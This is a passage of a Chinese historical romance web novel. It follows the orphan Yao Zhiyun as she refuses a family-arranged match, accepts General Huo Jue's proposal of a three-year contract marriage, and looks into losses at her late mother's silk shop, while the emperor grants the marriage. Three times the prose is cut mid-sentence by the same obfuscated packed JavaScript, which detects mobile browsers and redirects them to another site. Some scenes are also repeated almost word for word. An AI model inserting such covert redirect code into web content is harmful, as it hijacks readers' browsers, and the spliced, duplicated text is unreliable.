她胸口起伏着，手指颤巍巍地指向姚知韫，那碧玉簪子在发间微微晃动，闪着冷硬的光。 “我原想着，你孤身一人，可怜见儿的，苏家不能不替你打算。谁知你……竟是这般油盐不进，冥顽不灵！倒显得我们多管闲事，枉做恶人！”她越说越气，声音也拔高了些，带着久居上位的凌厉，“你母亲若在天有灵，看见你这般顶撞长辈，怕也要心寒！” 姚知韫静静坐着，垂着眼，一言不发。 任那责骂的言语如冷雨般泼下来，她只是将脊背挺得笔直，像一株风雪里沉默的竹。 苏老夫人见她这副模样，更是气结。知道再说无益，这丫头是铁了心不肯低头了。她重重地“哼”了一声，拂袖转身。 “文珩，我们走！”她叫了一声那一直沉默坐在下首的少年，声音里余怒未消。 苏文珩连忙起身，上前搀扶。他脸上没什么表情，只在出门时回头一瞥，那目光里有些复杂的东西，似是歉然，又似有别样的深意，一闪即逝。 老夫人再未回头，脚步略有些踉跄却竭力维持着体面，径直朝外走去。连背影都透着被冒犯的怒意。 厅里，只剩下姚知韫一人，还有桌面上那块被日光晒得越发温润刺眼的羊脂玉佩，以及那摊渐渐变冷的茶渍。 风从门口灌进来，吹得她衣袂轻轻飘动。 她唤了一声芙蓉，让她将玉佩送回去。 苏老夫人离开后，姚知韫依旧坐在厅里，一动不动。 日头又移了几分，方才的那柱光，此刻斜斜地爬到桌角，照亮了一小片飞舞的微尘。 方才那紧绷的、对峙的余韵却仿佛还滞留在空气里，沉甸甸地压着。 那股子强撑着的冷静，此刻才慢慢从四肢百骸褪下去，露出底下深切的疲惫，与一丝怎么都挥不去的悲凉。像初冬的霜气，无声无息地浸透衣衫，带来一种缓慢而确凿的寒意。 先是刺杀，刀光血影，惊魂未定，这头便又来了婚约。 他们这是无论如何也要吃定她。 宋家是这般，苏家也是这般。外头呢？还有多少双绿莹莹的眼睛在暗处盯着？英国公府怕未必甘心，那位姨母更不知在盘算什么。 如今的她没有父母可以倚靠，没有兄弟可以撑腰。在这权势交织的京城，她就像秋塘里最后一片浮萍，一阵稍大点的风浪，就能将她彻底打翻、吞噬。 她该如何？ 继续躲吗？像只鸵鸟，把头埋进沙子里，假装外头的风雨落不到自己身上？ 争吗？拿什么去争？她争得过吗？就算赢了眼前这一桩，下一桩呢？无穷无尽。 日光在她脚边投下长长的、孤零零的影子。 她看着那影子，忽然觉得，这偌大的姚府，精巧的庭院，都变成了一座华丽而冰冷的囚笼。外头的人虎视眈眈，里头的人……无处可逃。 一种深重的窒息感，像潮水般漫上来。 就这样认了么？ 不。 心底深处，有个极微弱、却极坚硬的声音，在挣扎。 不是她的风格，白血病那么可怕的魔鬼她都一次次的扛过来了，既然躲不开，那就面对它，宁为玉碎，不为瓦全，哪怕最后两败俱伤，也不能任由旁人肆意妄为。 庭院里，那棵老槐树的叶子，又落了几片，打着旋儿，不情愿似的，最终还是归于尘土。 她不能认。 可——要怎么办？ 霍抉听青木在耳边低声回禀，说苏家到姚府的之事。 他眉峰猛地一蹙，心底那股火气“噌”地就窜了上来，直冲顶门，烧得他指节都捏得发白，恨不得立时就将那多事的苏家碾个干净。 可那怒火底下，却又有一丝隐隐的恐惧。很淡，却极顽固的在心底漫开。 若……若苏家老太爷确实有此打算，有信物，有旧话，那便是父母之命、媒妁之言的正经前缘。苏家作为她母亲的血脉至亲、外祖家，在她父母双亡之后，站出来替她主张，任谁听了，都要说一句理所当然。 名分大义，辈分伦常，像一座看不见的山，沉沉地压在那里。 她要如何去拒？他又拿什么去抗？ 这念头像根细针，扎得他心口微微发麻，他已经听不见下面人的声音，只想尽快赶到她身边，来填补心底那越来越大缺口。 匆忙的将事情交代给沈知节，霍抉便匆匆离开了。 霍抉策马狂奔，风在耳边呼啸，平日里一个多时辰的路，他却用了不到一个时辰便回到了姚府。 马还未停稳，他已翻身下马，脚下不停，径直便往内院走，步子又急又沉。 进了院子。内心翻涌的焦躁反而慢了下来，站在院子的回廊下，将自己隐在红色的廊柱后面。 她就坐在正厅的椅子上，秋日的夕阳本就稀薄，此刻打在她素白的衫子上，光点一下一下的晃动，她一动不动，就那么静静的坐着。 霍抉也就那么定定看着她。 往日的她，周身总是笼着一层淡淡的、疏离的安静，像隔着一层薄雾看远山，瞧得见轮廓，却触不到温度，但他知道那是她的保护色，只要耐心地将她身上那层雾打散，便能触碰到真实的她。 可此刻的她，似是被阴霾浸透，笼罩着清晰的孤寂，她走着的空气都是沉的，她给自己的搭了一层厚厚的壳，把自己藏起来，谁也不能触碰。 霍抉的心，像被一只看不见的手，重重地攥了一下，闷闷地疼，他心底的慌与惧越来越大，蔓延的更深，最终化作更深、更沉的一股涩意，堵在喉咙里。 他总要做些什么。他不能再等，不然等不到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128726|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他名正言顺，苏家绝对不会放过她。 霍抉从廊柱的阴影里走出来，好似下定了某种决心。 姚知韫并未察觉，依旧低首垂眸望着某一个点出神，直到他的影子挡住身前，遮去了仅有的一丝光亮，她才缓缓抬起头。 脸上没什么表情，只是眼里那层沉沉的阴霾，略微动了一下，像是平静的水面被风吹起了一丝看不见的褶皱。 两人都没有说话，厅里的静一如既往，能听见风穿厅堂的轻响。 霍抉在她对面的椅子上坐了，隔着一张方桌，他没有看她，目光落在地面那微微晃动的光点上，手指无意识地拨弄着袖边。 “苏家的事，我听说了。”他开口，声音有些沉，有些哑，好似有许多话不能宣之于口。 姚知韫眼睫颤了颤，没应声。 霍抉抬起眼，目光直直看进她的眼里，那眼神很沉，很重，里头翻涌着许多南边的东西，可更多的是破釜沉舟的决心。 姚知韫的嘴唇抿紧了，袖中的手指微微蜷起。 “我也知道，你心里不情愿。”霍抉继续说道，语气很平，仿佛只是陈述事实，“我提个章程，你听听？” 他顿了顿，仿佛在斟酌最后的分寸。 “你嫁给我。” 这话说的太突兀，太直接，姚知韫猛地抬起眼，瞳孔骤然收缩，直直地瞪着他，脸上第一次露出清晰的、错愕的神情。 霍抉迎着她的目光，不闪不避，只是眼底最深处，那一丝不安隐隐的闪着。 “你嫁给我，”他语速快了些，“可以帮你挡掉外头无数的觊觎。” 他身子微微前倾，双手在袖中紧紧握紧，指节发白，手臂上青筋暴起。 “三年，”他一字一句说着，声音压得低低的，“以三年为限，这三年，我护着你，没人能动你分毫，我也不会限制你的自由。” 他说到这里，喉结滚动了一下，声音更深，也更缓。 “三年后，若你——想要离开，”他猛然顿住，似乎这几个字已经耗尽他全部的气力，“若你还想离开，我们和离。” 话音落下，他心底窜出剧痛，呼吸猛然滞涩，他将掌心攥的更紧，才能抑制住心里的颤抖，正视她终究会离开的那个结果。 他不再开口，只是那样看着她，目光沉静，坚定，像一座山，稳稳地立在那里，等着她的判决。 姚知韫脸上的错愕，很快便褪去，只剩下冰冷的清醒，她没有动怒，甚至不见半分女儿家的羞赧，只是静静的看着霍抉，那双总是笼着淡烟似的眸子里，此刻清晰得映出他的影子，也映出这秋日高远却苍白的天空。 “那么”，她开口，声音犹如冷泉击石，犹如大珠小珠落玉盘，清脆，冷静，剔除了所有多余的情绪，“霍将军，想要得到什么？” 她将“霍将军”三个字，咬得格外清晰，也格外疏离。 她微微偏过头，目光在他眉眼间细细巡睃，似乎想从他深邃的眼底，寻出些什么来，可除了那片沉沉的、不见底的潭水，什么也没有。 “你费心筹谋，将我置于你的羽翼之下，你要的，又是什么？” 19. 云锦轩 她不是不谙世事的闺阁女子，前世今生，她见过太多的人间冷暖，霍抉的提议，听起来是一条绝境中的生路，似乎也是她目前最好的选择。 可若是外面的那些的是恶狼，那霍抉便是一头雄狮，是比那些更危险的凶兽。 你。 我只想要你。 霍抉的心底在疯狂地呐喊，冲撞着胸腔，几乎要破喉而出，那最简单、最原始、也最不容于此刻的答案，可他不能。 他看着她那双过于清醒、带着审视与戒备的眼睛，知道这话一旦出口，她只会退得更远，他怕是再也没有机会，将她拥入怀中。 他将绷直的身子，重重地靠回冰冷的椅背，眼帘低垂，掩去眸底翻腾的惊涛骇浪。 “霍家人不日便抵京，”他开口，声音已经恢复了惯常的冷静，甚至染上了一丝漠然，只有他知道，胸腔里那擂鼓般的心跳，需要多大的力气才能按捺得不露痕迹。 “我已近而立之年，提督府需要一个主母，打理内宅，应酬往来，” 他抬起眼，目光淡淡的，“你是个聪明人，韫儿”，他唤了她的名字，“应当明白我的处境，身处漩涡中心，我不能与任何一方势力联姻，惹来猜忌。娶没有背景的你，是最好的选择，皇上——也才会放心。” 姚知韫心底长长的松了一口气，无论真假，这个理由听起来无懈可击，一个让皇帝安心的选择，合乎逻辑，也合乎他的身份与处境。 “我需要尽妻子的义务？” 姚知韫的声音很轻，像风拂过枯叶的边沿，问出这话时，她的指尖在袖中蜷缩着，或许还有一丝的颤抖，以及对不可知未来深重的茫然。 霍抉的心，像被这句话轻轻地、却又无比精准地刺了一下。 “当然，”这两个字，几乎未经思索，是那么的笃定，他抬起眼，目光沉沉地锁住她，刻意地、一字一顿地，说道，“你是我的妻子。” 他刻意加重了“妻子”两个字，那不仅仅是一个称谓，那是宣告，向天地、也向所有觊觎者宣告所有权，也是承诺，一个他对她不离不弃的承诺，是占有，也是枷锁。 他比任何人都更渴望这种身份，带来的理所当然的亲密与责任，也是对自己心中那头名为“占有”的猛兽，套上最坚固的缰绳。 “我有个条件。”姚知韫身子微微向后，可这个细微的动作，却像在霍抉紧绷的心弦上，轻轻拨动一下。 她，这是答应了？ 霍抉只觉得一股滚烫的气流猛地冲上胸腔，又被死死堵在喉咙口，他深吸一口气秋日清冷的空气，可空气中的凉意却压不住心底骤然掀起的狂喜。 那喜悦来得太猛，太烫，几乎要冲破他所有引以为傲的克制，从眼底眉梢溢出来。他猛地垂下眼，浓密的睫毛剧烈地颤了几下，才将那几乎要失控的情绪，死死地、笨拙地按捺回去。 可心底的欢喜却像春日里冻土下拼命钻出的草芽，顶得他心口又酸又胀。他再抬起眼时，眼底泄出几分灼人的亮光，声音也因为极力压制而显得格外低沉暗哑： “你说。” “这三年，你不能有其他人。” 这是她的底线任凭这个时代三妻四妾如何天经地义，她不行。哪怕只是一纸契约，她也要干干净净。 “若是你有了其他人，”她语气微顿，抬起眼，迎着那双眼睛，直视着他，“三年之约自动作废，你必须放我走。” 霍抉只觉得心口被什么东西重重地撞了一下，随即，难以言喻的狂喜像决堤的春洪，轰然漫过四肢百骸，几乎让他整个人都轻盈得要飘起来。她这般计较，这般在意“唯一”，是否……是否在她自己都未察觉的深处，对他，也并非全无感觉？ 这念头让他浑身的血液都烫了起来。 他几乎是用尽了毕生的自制力，才没有失态。喉结上下滚动了好几下，才找到自己的声音，“自然。” 他看着她，眼神炽烈而专注，像在许下一个重于生命的誓言。 “霍抉此生，若有违此誓，负你分毫，”他顿了顿，每一个字都清晰无比，“死无葬身之地。” 姚知韫没有接话，秋阳寂寂，老槐默然。这誓言太重，重得连风都似乎停滞了一瞬。 两人久久的坐着，不言不语，日头由暖转凉，最后没了踪影，墨色从屋角漫上来，最后把整个厅堂都笼罩在一种安详的昏暗里。 霍抉的声音暖暖的，像是一直在喉咙里温着，终于温得熨帖了，才肯放出来，“明年你五月，你及笄礼成，我们成婚。” 姚知韫没立刻应。她脑子里空了一下，随即浮起些零碎的念头，成婚？然后呢？什么三书六礼，问名纳吉，一桩桩该是如何？谁来操持？她想着那些繁琐的礼数，像隔着毛玻璃看远处走动的影子，模模糊糊的，又有些茫然的空落。 霍抉望着她。她微微垂着头，睫毛的影子落在脸颊上，极淡的一小片，在黑暗中轻轻颤动，他好像能看见她心里那些无声的问句，像初春河面底下，尚未化开的细碎的冰，正一点点向上浮着。 他于是又开了口，声音比方才更柔和些，也更沉笃，像一块经了河水的卵石，圆润地落进这墨色的安静里： “旁的，都交给我。” 厅堂外传来小桃怯怯的声音，似是鼓足了很大的勇气才开口，“姑娘，用膳了。” 姚知韫深吸一口气，没看霍抉，只对着门外模糊的应了一声，“好，” 说完便起身朝外走，风起，凉凉的，她忍不住打了个颤，深秋了，夜里寒气越来越重。 霍抉没有跟去。 他想，她此刻或许需要一个人独处，来适应一个全新的身份，他相信她能做到，她总是这样，看着淡淡的，骨头里却有种柔韧的劲儿，像瓦檐下不起眼的苔，经了雨反倒更润泽些。风再大，她也只是微微地弯一弯，总不肯折断的。 他提出成婚这个方法，也是在她还迷茫的时候，若是等她静下心想透了，自己也能琢磨出别的路——或许会走得波折些，但她总有办法的。 她一直都有办法。 姚知韫用了整整一个月，才将母亲留下的账册清理完成。 她不懂行商坐贾那些门道，但她学过数学，将那些数目排在一起，也是能瞧出一些问题来的。 譬如云锦轩。 每个月的盈利总会少那么一些，瞧着不起眼，可七年的时间叠起来，到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133926|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今年，已经接近亏损了。 母亲在世的时候，云锦轩每年都节余一万二千两的银子，这短短七年间，统共只剩下三千两，可这生丝的价格却是每年都在上涨。 可她明明记得三年前，生丝价格下降，街面上的绸缎都跟着软了价。偏她那云锦轩，照旧往上添了一成。 这还不是最蹊跷的。 云锦轩的供货商在母亲去世后一年换成了一家叫瑞福祥的绸缎庄，若是她没记错，瑞福祥和云锦轩一样，都是做绸缎生意的，既然是同行，怎么能为云锦轩供货？ 看来，她要去趟云锦轩了。 姚知韫去了云锦轩，没挑什么特别的日子，一个寻常的午后，日头温暾暾的，她换了身玉色织暗花竹叶的襦裙，外头罩了件杏子黄的比甲，头发松松绾了个髻，插一支素银簪子。 知道她要出门，霍抉那边早早备下了侯府的马车。黑漆平顶的车身，檐角悬着赤底金纹的霍家标记，连车夫都是特意挑过的稳重人。 马车在云锦轩门前停下时，街面上正静。姚知韫戴上帷帽，由芙蓉扶着，慢悠悠下了车。 这条街叫锦绣街，是京城有名的绸缎铺子聚集地，各色招幌在风中微微飘着，空气里仿佛都覆着一层绸缎特有的、略带胶质的柔光，云锦轩的铺面在街的终端，五开间的门脸，黑漆金字招牌，毕竟是百年老店底蕴，瞧着格外的气派。 只是走近了，便觉出些不同来，左右邻居的伙计都站在门口，满面笑容地招徕客人，独独云锦轩门口冷冷清清，只一个半大少年靠着门框，脑袋一点点的打着瞌睡。 姚知韫脚步没停，径直走了进去。 铺子里光线有些暗，高高的柜台后头，一个留着两撇鼠须的帐房先生，扒拉着算盘，听见脚步声，眼皮也没抬，只拉长了调子，“客官随意看——，” 倒是柜台边上正整理布匹的年轻伙计机灵些，见姚知韫衣着朴素，但气度不凡，忙放下手里的活计，迎了上来，脸上堆起笑，“小姐您里边请，想看些什么料子？咱们这儿新到了一批江南的软烟罗，花色是顶新鲜的。” 姚知韫笑了笑，“我要给家里兄长，”她想了想，霍抉从年龄上来说喊兄长应该没什么问题，“做一套新衣，你帮着长长眼，看哪些料子合适，只管拣好的包起来。” 话音刚落，那边还在懒散的帐房先生便挤了过来，撞开了小伙计，“姑娘，要买的料子，我们这里不全，不如到隔壁的瑞福祥瞧瞧，那里的料子全，价格也公道。” 姚知韫心下微微一顿，帷帽后的唇角掠过一丝极淡的冷意， “家母交代，只要云锦轩的料子。” 帐房先生脸上的笑僵了僵，两撇鼠须跟着抖了一下，他搓了搓手，身子又往前倾了倾，“小姐，您看，要不这样，您留下府上名姓，我让伙计拣了顶好的料子，直接给您送到府上，包您满意。” 姚知韫冷光一闪，心里还有什么不明白的。 “你们掌柜的呢？”姚知韫话锋一转，声音不高，清清淡淡的。 那帐房先生一愣，那勉强堆起的笑快要挂不住了，“掌柜的——掌柜的在里头核对货单呢？小姐有什么吩咐，跟我说也是一样的。” 20. 不敢有半点非分之想 姚知韫不再说话，她只是静静地站在那里，隔着薄纱，目光似乎落在那账房先生脸上。铺子里一时静极了，只有外头街市隐约的喧闹，和那年轻伙计有些无措的呼吸声。 那账房先生被她看得有些发毛，两撇鼠须无意识地翕动着，眼底那点审视的光，渐渐被一层不安的游移取代。 “把掌柜的叫出来吧！” 姚知韫终于开口，语气平淡得像在说一件最寻常的事。她说着，已缓步走到一旁的红木太师椅前，拂了拂并不存在的灰尘，径自坐下了。纤细的指尖随意地翻开桌面上摊着的一册账本，又朝那愣在一旁的年轻伙计招了招手： “叫什么名字？”姚知韫笑的淡，问的也淡。 “小的阿贵，”小伙计退后两步，恭谨的垂下头，答的小心翼翼。 “认字吗？” 阿贵愣了愣，才低声道，“小时候跟着先生学过两年，认得一些。” 姚知韫端起茶盏抿了一口，微微蹙眉，陈茶？她可记得这云锦轩茶水费可不低，包的可都是好茶，雨前龙井，紫笋茶等 她放下茶盏，瓷底碰着桌面，轻轻一声脆响。 “去把账房先生请出来，”姚知韫的笑意敛去，声音静得像秋后的潭水，“同他说，我姓姚” 帐房先生脸上的笑意瞬间僵住，瞳孔细微地收缩了一下，他在这云锦轩做事十多年了，“姚”这个姓意味着什么，他太清楚了，东家姓姚，只是东家早逝，如今的东家是位俗事不通的孤女。 阿贵还没张口，他喉咙里“咕”地响了一声，便跑了过来，腰下意识弯了下去，脸上那敷衍的笑赶紧换成十足的恭敬，甚至有些惶恐，“原，原来是——小姐来了，小人眼拙，小姐恕罪，恕罪！” 姚知韫只是低着头，用杯盖一下下，慢条斯理地撇着茶里的浮沫，青瓷相碰，发出细而清的脆响，一声接着一声，敲得人心里发紧。 帐房先生脸上堆着笑，额角渗着细汗，殷勤得过分，“掌柜的，掌柜的他刚好出去催一笔款子，不在铺子里，要不，小人这就派人去寻他回来？” 姚知韫坐在椅子上，只是沉默着，眼帘未抬，就着那杯陈茶，又抿了一口。 “先生，贵姓？” “小人姓孙，孙有福，在铺子里管着帐房——”孙帐房垂手站着，额角微微见汗。 “孙帐房，”姚知韫未等他说完，便直接打断，目光却没有移开，“在云锦轩多久了？” 姚知韫话说的温和，可孙帐房的后背，却被冷汗浸透了，“十，十一年了。” “十一年了——，”姚知韫低低的重复着，放下茶盏，抬头时，眉宇间最后一点温和的笑意也散了，只剩下清清淡淡的平静。 “我母亲去世的早，我年岁小，一直不曾过问铺子里的事，如今渐渐大了，也该学着料理些庶务，今日来，没别的意思，就是看看铺子，” 她站起身，理了理裙摆，“既然掌柜的不在，我便不叨扰了。”说完她微微颔首，转身便朝外走去，帷帽的轻纱随着步子微微晃动，留下一缕极淡的、说不清是茶香还是熏香的气息。 芙蓉和小桃无声地跟上。 只剩下孙账房一个人怔在原地，对着空荡荡的铺面和那杯没喝完的陈茶，半天没回过神来——这就……走了？ 赵厚坐在御书房的书桌后，远远的望着霍抉离开的背影。 那背影挺直，深绯色的官袍下摆在初冬的风里微微拂动，像一片沉静的、却自有分量的云，缓移出了宫门的阴影，融进外头白晃晃的天光。 他的眼睛慢慢眯了起来，眼底的光晦涩不明，像一口深井，映着窗外的枝桠。 “高乔，”，他忽然开口，声音有些哑，“霍抉——是不是同崔家走的近了些？” 侍立在一旁的高乔眼皮一垂，腰弯的更低些，声音又轻又沉，让人捉摸不透，“回陛下，霍提督刚回京，人情往来，有些应酬总是不好推拒的。” 这话答的巧妙，什么也没说，又什么都说了，崔家那份心思，就算高乔不讲，赵厚心里也跟明镜似的。昨夜里，贵妃崔氏在他耳边那些温言软语，话里话外绕着弯子；今日晨起，皇后请安时，那几句看似不经意的提点……他都听得懂。 无非就是想拉拢霍抉。 而拉拢最好的方式，是联姻，赵厚抬起手，揉了揉发胀的额角，霍抉这把刀，太利，却也烫手，一不小心便会伤了自己，目前这把刀绝对不能被任何人握在手里。 他上了眼睛，嘴角扯出一个极淡、极苦的笑纹，像在茶水里泡久了的黄连。“一个霍抉，就搅动了一池子心，”他喃喃道，声音轻的几乎听不见，“都巴不得朕早死。” 高乔心下一颤，腿便软了，“噗通”一声跪在地上，额头紧紧贴着冰凉的金砖， “陛下！陛下万不可作此想，您福寿绵长，皇子们都盼着您寿与天齐，万岁万万岁。” 赵厚没有睁眼，只是长长地、缓缓地吐出一口气。那气息悠长而疲惫，仿佛把胸腔里积压的沉郁都吐了出来，却又有新的、更重的东西填进去。 “人老了……”，他像是自语，又像是对这空寂的殿宇说，“就有些信命。” 殿内一时静极，只有鎏金铜兽炉里的熏香袅袅飘着。 “太子……”，赵厚又开口，声音更沉缓了，每个字都像在掂量，“性子软，手段也弱，撑不起这片天。轩儿……倒有几分机敏，心性也够。”他顿了顿，那点微弱的赞许很快被更深的忧虑覆盖，“可他被崔家养得太深了，根须都缠在了一处，扯不清。” 他摇了摇头，不再说下去。只将身子更深地陷进御座里，让那明黄的缎子包裹住日渐消瘦的肩骨，仿佛这样便能抵御从四面八方漫上来的、无形的寒意。 而他把霍抉留在京城，除了有了收复梓州十三州的打算外，还有想动一动崔家的意思。 窗外，天色又暗了几分，怕又是一场大雨，一场秋雨一场寒，眼看着马上要入冬了。 “霍抉住在姚府？”赵厚突然问道。 “回陛下，”高乔依旧跪在地上，低声地回道，“是。” “姚家，那个孤女，多大了？”赵厚挥挥手，示意高乔起身。 “十四岁了，马上及笄了。” 赵厚指尖在桌面上敲击着，闭着眼睛，无人知道他在想什么？ 赵厚忽然问：“霍抉……是住在姚府？” 这话问得没头没尾，像一片羽毛，轻轻落在寂静的殿里。 高乔依旧跪在冰凉的金砖上，头垂得更低些，声音轻而稳：“回陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138251|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，是。” “姚家……”，赵厚沉吟着，指尖在光滑的紫檀木案几上无意识地摩挲，“那个孤女，多大了？” “十四了，翻过年就该及笄了。”高乔答得仔细。 赵厚“唔”了一声，挥挥手，示意他起来。 高乔起身，垂手立在一旁，眼观鼻，鼻观心。 殿里又静下来，静得能听见更漏里细沙滑落的簌簌声。赵厚阖着眼，靠在宽大的御座里，脸上没什么表情，只有右手食指的指尖，在桌沿极轻、极缓地叩着。 笃。笃。笃。 一下，又一下，不紧不慢，像老和尚敲着木鱼，又像在丈量着什么看不见的棋路。那声音很轻，落在过分安静的空气里，却显得格外清晰，高乔的心好似也随着这个节奏，忽上忽下。 谁也不晓得，赵厚在想些什么。又会在这盘错综复杂的棋局里，落下怎样一粒棋子？ 窗外的天色，又沉了一分。 赵厚倏然睁开了眼。 那眼里方才的沉静与思量，像被一阵无形的风吹散了，露出底下某种已然落定的、极淡的锐光。他站起身，明黄的袍角在御座上拂过，带起一阵轻微的、带着龙涎香气的风。 “去德仪宫。” 高乔心头一凛，连声“是”都来不及应，只将腰弯得更深些，脚下已紧着碎步跟了上去。主仆二人的身影，一前一后，悄无声息地没入了殿外长长的、光影交错的回廊里。 皇帝先是温言问了些京营的事，粮饷可足，兵械如何，将士们冬日寒衣备得怎样。霍抉一一答了，话头便像溪流转了个弯，轻轻巧巧，淌到了别处。 “霍爱卿，”赵厚搁下茶盏，目光在霍抉脸上停了停，“今年……有三十了！” 霍抉心下一片澄明，面上却只恭敬道：“回陛下，臣痴长二十九岁，明年方及而立。” “哦，二十九了。”赵厚点点头，指尖在扶手上轻轻一点，“家里……可曾定下亲事？” “微臣戍边多年，辗转沙场，未曾婚配。” “嗯。”赵厚像是早料到了，语气愈发温和起来，“圣人说，修身、齐家、治国、平天下。爱卿如今功成名就，这齐家一事，也该思量起来了。身边没个知冷知热的人，终究不像个样子。” 霍抉垂下眼：“臣是个粗莽武夫，怕耽误了人家好姑娘。” “哎——”赵厚拖长了调子，摆了摆手，脸上露出些真切的笑意，“你可不是什么武夫。朕记得清楚，同光十三年的状元郎，琼林宴上最年轻的进士。文武双全，国之栋梁。” 霍抉不再言语，只是将头又低了低。 殿内静了一霎，鎏金香炉里逸出的青烟，笔直地向上袅着。 “朕瞧着……”赵厚的声音放得更缓，像是随意提起，“姚家那位姑娘，倒是个不错的。” 霍抉倏然抬起头，脸上恰如其分地掠过一丝惊诧与惶惑。他双膝一屈，便直挺挺跪在了冰凉的金砖上。 “陛下！”他的声音沉痛而恳切，“姚将军于臣有知遇之恩，临终托付，臣却一走七年，未能尽责，已是愧对故人。姚姑娘……年纪尚幼，臣一直视她如妹，万不敢有半点非分之想，辱没了姚将军的托付与清名。” 他说得情真意切，额角甚至隐隐见了汗。 21. 产业交给你 赵厚看着他，目光深了深，脸上那点笑意却未减。“前几日德妃宫里见了几个孩子，朕也瞧见了姚家那丫头。模样是好的，难得的是那份沉静气度，瞧着便知书达理。”他顿了顿，语气里带上一种不容置疑的关怀，“与你，真是般配。朕看，不如就由朕来做这个主——” “陛下！”霍抉急急抬头，眉眼间尽是挣扎与为难，喉结滚动了几下，仿佛有千言万语堵在胸口，最终只化作一声无力的，“臣……臣实不敢……” “好了。”赵厚轻轻打断他，语气仍是温和的，却已带上了天子最终定调的意味，“朕知道你的顾虑。但故人之后，由你亲自照拂，岂不更妥帖？这事儿，就这么定了吧。” 霍抉僵跪在原地，像是被这突如其来的“恩典”压得说不出话来。他深深垂下头去，肩膀几不可察地微微塌了一下，仿佛终于无奈地接受了命运的安排。 只有他自己知道，那低垂的眼睫之下，一丝筹谋得计的精光，如何快如闪电般掠过，又迅速湮没在恭顺的阴影里。 赐婚这件事，便在赵厚的拍板，霍抉为难的推脱不掉的情况下定了下来。 姚知韫想着，自打那日霍抉说了“成婚”的话，已有五日不曾见他了。 今日是中秋。桂花香一阵浓一阵淡，随着风飘进院子里。她想着，这样的日子，他或许会回来。 她便叫小桃去备了些食材。自己挽了袖子，洗手和面，要做些月饼。北方人爱吃甜的，蜜糖的、五仁的馅儿得备上。南方人却喜咸口，酥皮裹着鲜肉，烤出来油润润的，也别有风味。她不知道霍抉是爱甜还是爱咸，这么想着，索性甜的咸的都做一些，总不会错。 面和得软硬适中，盛在盆里，用湿布盖着。馅料一样样调好，空气里便浮起芝麻香、果仁香，还有淡淡的咸鲜气。 她想好了，晚间再下厨做几样清爽小菜。她的手艺是极好的，前世的爸妈都夸她有天赋，总能整出新花样。只是因为身体原因，无法实践，她就看着那些食谱，倒是来了这里，有了更多实践的时间，得偿所愿。 这顿饭，算是谢他这些时日的照拂——尽管那照拂的方式，常常让她有些无可奈何。 午后的日头，懒洋洋地趴在窗棂上，把她的影子拉得长长的，静悄悄地，融进一地细碎的光斑。 她如往日般地躺在摇椅上，手中账册滑落，不知不觉便睡了过去。 霍抉来了，还带了一个人，说是沈知节，关于铺子上的事情都可以交给他。 午后的日头，懒洋洋地趴在窗棂上，把她的影子拉得长长的，静悄悄地，融进一地细碎的光斑里。 她歪在摇椅上，像往常一样。手边摊着本账册，看久了，字便有些模糊，眼皮也渐渐沉了。那册子顺着膝头滑下去，落在铺了青砖的地上，发出极轻的一声“嗒”，她也未曾察觉。 桂花香丝丝缕缕地绕进来，混着秋阳晒透的木头发出的、暖烘烘的干爽气味。她便在这片熟悉的气息里，朦朦胧胧地睡了过去。 醒来时，日影已斜了一大截。 摇椅还在微微地晃，身上却多了条薄薄的绒毯。她眨了眨眼，看见霍抉坐在不远处的石凳上，手里也拿着卷书，却似乎没在看，目光落在墙角那丛将败未败的菊花上。 见她醒了，霍抉放下书卷，站起身走了过来。 “醒了？”他声音不高，带着惯常的沉稳，眼底却有些许不易察觉的柔和，像深潭水面上忽然掠过一小片暖阳。 “什么时候回来的？”姚知韫坐起身，薄毯滑落膝上。 霍抉没答话，只上前一步，将滑落的毯子重新替她披好，仔细地覆在她的腿上，做完这些，他才又坐回原来的石凳上。 “刚回”，他说着，静了片刻，又道，“我带了两个人来，你见见。” 说完便挥挥手，青木从廊柱闪出，悄无声息的走了出去，不一会，便带进来两个人。 “沈知节，是我从北边带回来的人，理账、看人、处置庶务，都妥当，你用着便是。” 姚知韫看着静静立在眼前的身影，约莫三十出头，穿着半旧的靛蓝直裰，面容清癯，身姿笔挺，当真像一杆经了风霜的修竹，静悄悄地立在那里，不显山，不露水。 “沈知节，见过姑娘。”他躬身行礼，声音清晰平和，不高不低，恰能让人听清，又不显得突兀。 姚知韫微微颔首：“沈先生。” 沈知节不再多言，依旧垂手立着，眼观鼻，鼻观心，只在霍抉或姚知韫问话时，才简短清晰地应答几句。他像是这院子里一道新的、安静的影子，知道该停在何处，也知道何时该显出形状。 霍抉的目光转向另一位。 